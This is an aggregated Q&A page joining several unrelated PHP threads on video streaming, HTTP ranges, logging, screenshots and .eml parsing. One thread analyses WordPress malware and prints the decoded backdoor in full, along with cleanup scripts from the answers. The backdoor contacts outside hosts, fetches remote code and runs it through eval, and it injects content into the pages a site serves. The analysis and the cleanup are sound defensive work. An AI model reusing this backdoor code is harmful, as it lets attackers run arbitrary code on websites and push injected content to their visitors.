Php download and stream video at the same time - php

I'm tying to make a php script to sownload video from youtube and stream it at the same time and this is my code ..
ini_set('max_execution_time', 0);
ini_set('memory_limit', '512M');
$vid_id = $_GET['vidId'];
if (!file_exists('../cache_files/youtube/' . $vid_id . '.mp4')) {
$vid_info = file_get_contents('https://www.youtube.com/get_video_info?video_id=' . $vid_id);
parse_str($vid_info);
$Array = explode(',', $url_encoded_fmt_stream_map);
foreach ($Array as $item) {
parse_str($item);
$format = trim(substr($type, 0, strpos($type, ';')));
if ($format = 'video/mp4' && $quality == 'medium') {
download($url, $vid_id);
break;
} else {
echo $reason;
}
}
} else {
ob_clean();
flush();
readfile('../cache_files/youtube/' . $vid_id . '.mp4');
exit;
}
function download($infile, $outfile)
{
$chunksize = 100 * (1024 * 1024);
$parts = parse_url($infile);
$i_handle = fsockopen($parts['host'], 80, $errstr, $errcode, 5);
$o_handle = fopen('../cache_files/youtube/' . $outfile . '.mp4', 'wb');
if ($i_handle == false || $o_handle == false) {
return false;
}
if (!empty($parts['query'])) {
$parts['path'] .= '?' . $parts['query'];
}
$request = "GET {$parts['path']} HTTP/1.1\r\n";
$request .= "Host: {$parts['host']}\r\n";
$request .= "User-Agent: Mozilla/5.0\r\n";
$request .= "Keep-Alive: 115\r\n";
$request .= "Connection: keep-alive\r\n\r\n";
fwrite($i_handle, $request);
$headers = array();
while (!feof($i_handle)) {
$line = fgets($i_handle);
if ($line == "\r\n")
break;
$headers[] = $line;
}
$length = 0;
foreach ($headers as $header) {
if (stripos($header, 'Content-Length:') === 0) {
$length = (int) str_replace('Content-Length: ', '', $header);
break;
}
}
$cnt = 0;
while (!feof($i_handle)) {
$buf = '';
echo $buf = fread($i_handle, $chunksize);
$bytes = fwrite($o_handle, $buf);
if ($bytes == false) {
return false;
}
$cnt += $bytes;
if ($cnt >= $length)
break;
}
fclose($i_handle);
fclose($o_handle);
if (file_exists('../cache_files/youtube/' . $outfile . '.mp4')) {
if (!filesize('../cache_files/youtube/' . $outfile . '.mp4') > 1024) {
unlink('../cache_files/youtube/' . $outfile . '.mp4');
}
}
return $cnt;
}
i use it like this
<video controls autoplay>
<source src='http://127.0.0.1/youtube.video.grabber.php?vidId=BYi7Lc2aclY'>
</video>
the "youtube.video.grabber.php" file now should start downloading the file to my disk and stream it to the client at the same time and it works but i can't move the video to the forward or the backward so i need to add some headers to this code like partial content and some other headers and here's the problem after adding the headers to the code it stops and won't work again .. so i wanna know how to add those headers to the this code or if you have a better solution to download and stream the file at the same time with the ability to move the video to the backward or the forward i will be grateful if you told me how .. thanks and sorry about my bad english

Related

CodeIgniter 4 output all the log file into stdout

Is there is a way to output all the log files into the stdout in codeIgniter4?
First, go to system\Log\Handlers\FileHandler.php
In the function handle, add this file_put_contents('php://stdout', $msg);
at line 138.
You will start seeing the log at the stdout.
The function handle in FileHandler.php
public function handle($level, $message): bool
{
$filepath = $this->path . 'log-' . date('Y-m-d') . '.' . $this->fileExtension;
$msg = '';
if (! is_file($filepath))
{
$newfile = true;
// Only add protection to php files
if ($this->fileExtension === 'php')
{
$msg .= "<?php defined('SYSTEMPATH') || exit('No direct script access allowed'); ?>\n\n";
}
}
if (! $fp = #fopen($filepath, 'ab'))
{
return false;
}
// Instantiating DateTime with microseconds appended to initial date is needed for proper support of this format
if (strpos($this->dateFormat, 'u') !== false)
{
$microtime_full = microtime(true);
$microtime_short = sprintf('%06d', ($microtime_full - floor($microtime_full)) * 1000000);
$date = new \DateTime(date('Y-m-d H:i:s.' . $microtime_short, $microtime_full));
$date = $date->format($this->dateFormat);
}
else
{
$date = date($this->dateFormat);
}
$msg .= strtoupper($level) . ' - ' . $date . ' --> ' . $message . "\n";
file_put_contents('php://stdout', $msg);
flock($fp, LOCK_EX);
for ($written = 0, $length = strlen($msg); $written < $length; $written += $result)
{
if (($result = fwrite($fp, substr($msg, $written))) === false)
{
// if we get this far, we'll never see this during travis-ci
// #codeCoverageIgnoreStart
break;
// #codeCoverageIgnoreEnd
}
}
flock($fp, LOCK_UN);
fclose($fp);
if (isset($newfile) && $newfile === true)
{
chmod($filepath, $this->filePermissions);
}
return is_int($result);
}
//--------------------------------------------------------------------
}

HTTP range, streaming, music and audio

I have a website which I use to stream audio files.
Mainly, MP3 & OGG.
Since few months, I handle myself (PHP) the steaming part (before it was apache2). First I do a normal 200 OK response with sliced binary response of my multimedia audio files (for memory allocation).
It's working fine, but I got the Infinity duration on all my audio.
According to this question, I have updated yesterday the streaming part.
And now, I have one of the strangest bug I could imagine. My refactor of code works really fine with MP3 but not with OGG... Images, or zip download also works with the class above, and they both work fine as before.
Here is my Stream class.
<?php
class Stream extends Response
{
protected $filepath;
protected $delete;
protected $range = ['from' => 0, 'to' => null];
public function __construct($filePath, $delete = false, $range = NULL)
{
$this->delete = $delete;
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $filePath);
$size = filesize($filePath);
$this->headers['Content-Type'] = $mimeType;
$this->headers['Content-Length'] = $size;
$this->headers['Accept-Ranges'] = 'bytes';
$this->headers['Content-Transfer-Encoding'] = 'binary';
unset($finfo, $mimeType);
$this->code = 200;
$this->range['to'] = $size - 1;
if ($range !== NULL) {
if (preg_match('/^bytes=\d*-\d*(,\d*-\d*)*$/i', $range) === false) {
$this->code = 416;
} else {
$ranges = explode(',', substr($range, 6));
foreach ($ranges as $rangee) {
$parts = explode('-', $rangee);
$this->range['from'] = intval($parts[0]);
$this->range['to'] = intval($parts[1]);
if (empty($this->range['to'])) {
$this->range['to'] = $size - 1;
}
if ($this->range['from'] > $this->range['to'] || $this->range['to'] >= $size) {
$this->code = 416;
}
}
$this->code = 206;
}
}
if ($this->code === 416) {
$this->headers = ['Content-Range' => 'bytes */{' . $size . '}'];
} elseif ($this->code === 206) {
$this->headers['Content-Range'] = 'bytes {' . $this->range['from'] . '}-{' . $this->range['to'] . '}/{' . $size . '}';
}
$this->filepath = $filePath;
}
public function show()
{
http_response_code($this->code);
foreach ($this->headers as $header => $value) {
header($header . ': ' . $value);
}
$file = fopen($this->filepath, 'r');
fseek($file, $this->range['from']);
$interval = $this->range['to'] - $this->range['from'];
$outputBufferInterval = 4 * 1000;
if ($interval < $outputBufferInterval) {
$outputBufferInterval = $interval;
}
ob_start();
while ($interval > 0) {
echo fread($file, $outputBufferInterval);
$interval -= $outputBufferInterval;
ob_flush();
}
fclose($file);
ob_end_clean();
if ($this->delete) {
unlink($this->filepath);
}
}
}
I am little confused with HTTP_RANGE.
Thank you,

Downloading website screenshot not downloading right size

Hello this is a 2 part question....
I have been trying to solve my problem for a while and gave up tonight and seeking answers :/
i have the following code and trying to download the image to the width of 1207px,
the download of the script works fine so i haven't included it below.
the second part is i like to screenshot to the ratio of 1207px wide but cant find way round it.
i have edited the following lines..
$w = 500;
$h = 768;
but this don't work, what ever the values are it downloads at 500px or very close width which is not ideal.
$url = trim(urldecode($url));
if ($url == '') {
exit();
}
if (!stristr($url, 'http://') and !stristr($url, 'https://')) {
$url = 'http://' . $url;
}
$url_segs = parse_url($url);
if (!isset($url_segs['host'])) {
exit();
}
$here = dirname(__FILE__) . DIRECTORY_SEPARATOR;
$bin_files = $here . 'bin' . DIRECTORY_SEPARATOR;
$jobs = $here . 'jobs' . DIRECTORY_SEPARATOR;
$cache = $here . 'cache' . DIRECTORY_SEPARATOR;
if (!is_dir($jobs)) {
mkdir($jobs);
file_put_contents($jobs . 'index.php', '<?php exit(); ?>');
}
if (!is_dir($cache)) {
mkdir($cache);
file_put_contents($cache . 'index.php', '<?php exit(); ?>');
}
$w = 500;
$h = 768;
if (isset($_REQUEST['w'])) {
$w = intval($_REQUEST['w']);
}
if (isset($_REQUEST['h'])) {
$h = intval($_REQUEST['h']);
}
if (isset($_REQUEST['clipw'])) {
$clipw = intval($_REQUEST['clipw']);
}
if (isset($_REQUEST['cliph'])) {
$cliph = intval($_REQUEST['cliph']);
}
if (isset($_REQUEST['download'])) {
$download = $_REQUEST['download'];
}
$url = strip_tags($url);
$url = str_replace(';', '', $url);
$url = str_replace('"', '', $url);
$url = str_replace('\'', '/', $url);
$url = str_replace('<?', '', $url);
$url = str_replace('<?', '', $url);
$url = str_replace('\077', ' ', $url);
$screen_file = $url_segs['host'] . crc32($url) . '_' . $w . '_' . $h . '.jpg';
$cache_job = $cache . $screen_file;
$refresh = false;
if (is_file($cache_job)) {
$filemtime = #filemtime($cache_job); // returns FALSE if file does not exist
if (!$filemtime or (time() - $filemtime >= $cache_life)) {
$refresh = true;
}
}
$url = escapeshellcmd($url);
if (!is_file($cache_job) or $refresh == true) {
$src = "
var page = require('webpage').create();
page.viewportSize = { width: {$w}, height: {$h} };
";
if (isset($clipw) && isset($cliph)) {
$src .= "page.clipRect = { top: 0, left: 0, width: {$clipw}, height: {$cliph} };";
}
$src .= "
page.open('{$url}', function () {
page.render('{$screen_file}');
phantom.exit();
});
";
$job_file = $jobs . $url_segs['host'] . crc32($src) . '.js';
file_put_contents($job_file, $src);
$exec = $bin_files . 'phantomjs ' . $job_file;
$escaped_command = escapeshellcmd($exec);
exec($escaped_command);
if (is_file($here . $screen_file)) {
rename($here . $screen_file, $cache_job);
}
}
if (is_file($cache_job)) {
if ($download != false) {
$file = $cache_job;
$file_name=basename($file);
$type = 'image/jpeg';
header("Content-disposition: attachment; filename={$file_name}");
header("Content-type: {$type}");
readfile($file);
;
} else {
$file = $cache_job;
$type = 'image/jpeg';
header('Content-Type:' . $type);
header('Content-Length: ' . filesize($file));
readfile($file);
}
}
?>

Read .eml file using php

I have the php script as shown below. I want to ask that using this script how can i read normal .eml file as we read in gmail or yahoo? how can i get attachments from it ?
<?php
/**
*
* This code has been written by Alexis Ulrich (http://alx2002.free.fr)
* This code is in the public domain.
*
*/
define(EML_FILE_PATH,'');
define(PICTURE_DIRECTORY_PATH,'img/');
// gets parameters
$images = substr($_GET['images'],0,5);
$filename = substr($_GET['filename'],0,50);
if ($filename == '') $filename = 'toto.eml';
$eml_file = EML_FILE_PATH.$filename;
// opens file
if (!($content = fread(fopen(EML_FILE_PATH.$filename, 'r'), filesize(EML_FILE_PATH.$filename))))
die('File not found ('.EML_FILE_PATH.$filename.')');
// two kinds of separators
if (strpos($content,'------_') !== false) $separator = '------_';
else $separator = '------=_';
$aContent = explode($separator,$content);
$aImages = array();
foreach($aContent as $thisContent) {
if (strpos($thisContent,'Content-Type: text/html') !== false) {
// email HTML body
$thisContent = substr($thisContent,strpos($thisContent,'<!DOCTYPE'));
$thisHTMLContent = quoted_printable_decode($thisContent);
//echo "<hr>$thisHTMLContent<hr>\n\n";
}
if (strpos($thisContent,'Content-Type: image/gif;') !== false) {
// base64 gif picture
$begin = strpos($thisContent,'Content-ID: <') + 13;
$long = strpos(substr($thisContent,strpos($thisContent,'Content-ID: <') + 13),'>');
$img_id = substr($thisContent,$begin,$long);
$img_name = substr($thisContent,strpos($thisContent,'name="')+6,strpos($thisContent,'.gif"')-strpos($thisContent,'name="')-6);
if (strpos($thisContent,'Content-Location: ') !== false) {
$img_location = substr($thisContent,strpos($thisContent,'Content-Location: ')+18);
$img_location = substr($img_location,0,strpos($img_location,'.gif'));
$searched = 'Content-Location: ' . $img_location . '.gif';
$img_base64 = substr($thisContent,strpos($thisContent,$searched)+strlen($searched));
}
else {
$img_location = $img_name;
$searched = 'Content-ID: <' . $img_id . '>';
$Content_ID_pos = strpos($thisContent,'Content-ID: <');
$end_content = substr($thisContent,$Content_ID_pos);
$end_Content_ID_pos = strpos($end_content,'>');
$img_base64 = substr($end_content,$end_Content_ID_pos + 1);
}
$aThisImage = array('id'=>$img_id, 'name'=>$img_name, 'location'=>$img_location, 'type'=>'gif', 'base64'=>$img_base64);
//print_r($aThisImage);
$aImages[] = $aThisImage;
}
if (strpos($thisContent,'Content-Type: image/jpeg;') !== false) {
// base64 jpg picture
$begin = strpos($thisContent,'Content-ID: <') + 13;
$long = strpos(substr($thisContent,strpos($thisContent,'Content-ID: <') + 13),'>');
$img_id = substr($thisContent,$begin,$long);
$img_name = substr($thisContent,strpos($thisContent,'name="')+6,strpos($thisContent,'.jpg"')-strpos($thisContent,'name="')-6);
if (strpos($thisContent,'Content-Location: ') !== false) {
$img_location = substr($thisContent,strpos($thisContent,'Content-Location: ')+18);
$img_location = substr($img_location,0,strpos($img_location,'.jpg'));
$searched = 'Content-Location: ' . $img_location . '.jpg';
$img_base64 = substr($thisContent,strpos($thisContent,$searched)+strlen($searched));
}
else {
$img_location = $img_name;
$searched = 'Content-ID: <' . $img_id . '>';
$Content_ID_pos = strpos($thisContent,'Content-ID: <');
$end_content = substr($thisContent,$Content_ID_pos);
$end_Content_ID_pos = strpos($end_content,'>');
$img_base64 = substr($end_content,$end_Content_ID_pos + 1);
}
$aThisImage = array('id'=>$img_id, 'name'=>$img_name, 'location'=>$img_location, 'type'=>'jpg', 'base64'=>$img_base64);
$aImages[] = $aThisImage;
}
}
//print_r($aImages);
foreach($aImages as $image) {
if ($images == 'filed') {
// image file creation
if (!file_exists(PICTURE_DIRECTORY_PATH."$image[location].$image[type]")) {
if (!$handle = fopen (PICTURE_DIRECTORY_PATH."$image[location].$image[type]", "wb"))
die("Cannot open file (".PICTURE_DIRECTORY_PATH."$image[location].$image[type])");
if (!fwrite($handle, base64_decode($image[base64])))
die("Cannot write into file (".PICTURE_DIRECTORY_PATH."$image[location].$image[type])");
fclose($handle);
}
$thisHTMLContent = str_replace('cid:'.$image['id'],PICTURE_DIRECTORY_PATH."$image[location].$image[type]",$thisHTMLContent);
}
else {
// images to be created on the fly
$imageLocation = urlencode($image[location]);
$file = urlencode($eml_file);
$thisHTMLContent = str_replace('cid:'.$image['id'],"viewImage.php?imageLocation=$imageLocation&file=$file",$thisHTMLContent);
}
$thisHTMLContent = preg_replace("/<IMG HEIGHT=(\d*)/i","<img ",$thisHTMLContent);
// no base href referring to local file
$thisHTMLContent = preg_replace("/href=\"file(.*)\"/i","",$thisHTMLContent);
}
echo $thisHTMLContent;
?>
Thanks in advance and would hope to receive reply soon.

What exactly does this PHP exploit code (found on my app)?

I've found this code in base 64 on all php files of one of my client's site (wordpress) and I'm trying to understand what it does.
I'm also trying to figure out if it was an application exploit or a direct FTP access that has past this code.
Everything starts with setup_globals_777() and ob_start('mrobh') setting the callback to the mrobh($content) function.
Then there are a call to gzdecodeit ($decode) where the hassle starts out.
It seems like it gets the page content and change it. Now I'm trying to detect the specific changes and understand all functions, including the second one gzdecodeit().
Can someone shed some light on it?
The calls
setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out
The callback:
function mrobh ($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
$decoded_content);
} else {
return $decoded_content . gml_777();
}
}
The setup function (understandable)
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
The first function called after the callback execution:
Here is where the magic happens. I can't see the calls for the other
available functions and understand what this function is actually
decoding, since the $decode var is the application output grabbed by
the ob_start()
function gzdecodeit ($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
All the available functions (after a base64_decode()):
<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (! function_exists('mrobh')) {
function get_tds_777 ($url)
{
$content = "";
$content = #trycurl_777($url);
if ($content !== false)
return $content;
$content = #tryfile_777($url);
if ($content !== false)
return $content;
$content = #tryfopen_777($url);
if ($content !== false)
return $content;
$content = #tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = #trysocket_777($url);
if ($content !== false)
return $content;
return '';
}
function trycurl_777 ($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777 ($url)
{
if (function_exists('file') === false)
return false;
$inc = #file($url);
$buf = #implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777 ($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = #fopen($url, 'r');
if ($f) {
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777 ($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = #fsockopen($host, 80, $errno, $errstr, 30);
if (! $f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function trysocket_777 ($url)
{
if (function_exists('socket_create') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = #gethostbyname($host);
$ip2 = #long2ip(#ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = #socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (! #socket_connect($sock, $ip1, 80)) {
#socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
#socket_close($sock);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function update_tds_file_777 ($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777 ()
{
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir . "log1.txt";
if (#file_exists($tdsfile)) {
$mtime = #filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = #file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = #explode("\n", $content);
$c = #count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777 ($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777 ($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
if (! function_exists('gml_777')) {
function gml_777 ()
{
$r_string_777 = '';
if ($_SERVER['s_b1'] == 0)
$r_string_777 = '';
return $r_string_777;
}
}
if (! function_exists('gzdecodeit')) {
function gzdecodeit ($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh ($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si',
gml_777() . "\n" . '$1', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
}
}
Looks like it creates a hidden .log folder:
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
Then seems to download code from http://www.lolypopholypop.com/g_load.php and http://sweepstakesandcontestsdo.com/, base64 decodes it, then executes it:
function update_tds_file_777 ($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
So without having to access your server again, they can execute different code.
Dan Hill wrote an article about getting base64 hacked for WordPress installations.
To quote the results of Dan's findings:
The hack I found essentially created a new php file in the uploads folder of Wordpress that allowed remote filesystem control, and then modified the pages being served (every .php file) to include a script tag redirecting visitors to some dodgy sites.
To get rid of the problem, Dan tried the following:
I did this in three stages. First, find any world-writable directories (tsk tsk):
find . -type d -perm -o=w
And make them not world writable:
find . -type d -perm -o=w -print -exec chmod 770 {} \;
Delete all the new files these guys created:
find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;
(In wordpress, the uploads folder shouldn’t contain any PHP)
Stage two, repair all your infected PHP files. I played around using sed and xargs for this, but eventually gave up and wrote a quick ruby script to do the job. Run this run this ruby script from your root directory:
#!/usr/bin/env ruby
Dir.glob('**/*.php').each do|f|
puts f
begin
contents = File.read(f)
contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "")
File.open(f, 'w') {|f| f.write(contents) }
rescue
puts "FILE ERROR"
end
end
The final step is to upgrade all your old, forgotten about Wordpress installs to prevent any other vulnerabilities showing up. The bonus step for good luck is to reset your passwords, especially any MySQL passwords stored in plain text in your wp-config.php file.
Hope Dan's findings help!
For those searching for a non-Ruby fix, here's a PHP version of Dan Hill's code:
<?php
function fileExtension($filename) {
$pathInfo = pathinfo($filename);
return strtolower($pathInfo['extension']);
}
function fixFiles($path) {
$path = str_replace('././', './', $path);
$d = #opendir($path);
if ($d) {
while (($entry = readdir($d)) !== false) {
$baseEntry = $entry;
$entry = str_replace('././', './', $path . '/' . $entry);
if ($baseEntry != '.' && $baseEntry != '..') {
if (is_file($entry)) {
$fe = fileExtension($entry);
if ($fe == 'php') {
$contents = file_get_contents($entry);
$contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents);
$f = fopen($entry, 'w');
fputs($f, $contents);
fclose($f);
echo $entry . '<br>';
flush();
}
}
else if (is_dir($entry)) {
fixFiles($path . '/' . basename($entry));
}
}
}
closedir($d);
}
}
fixFiles('.');
?>

Categories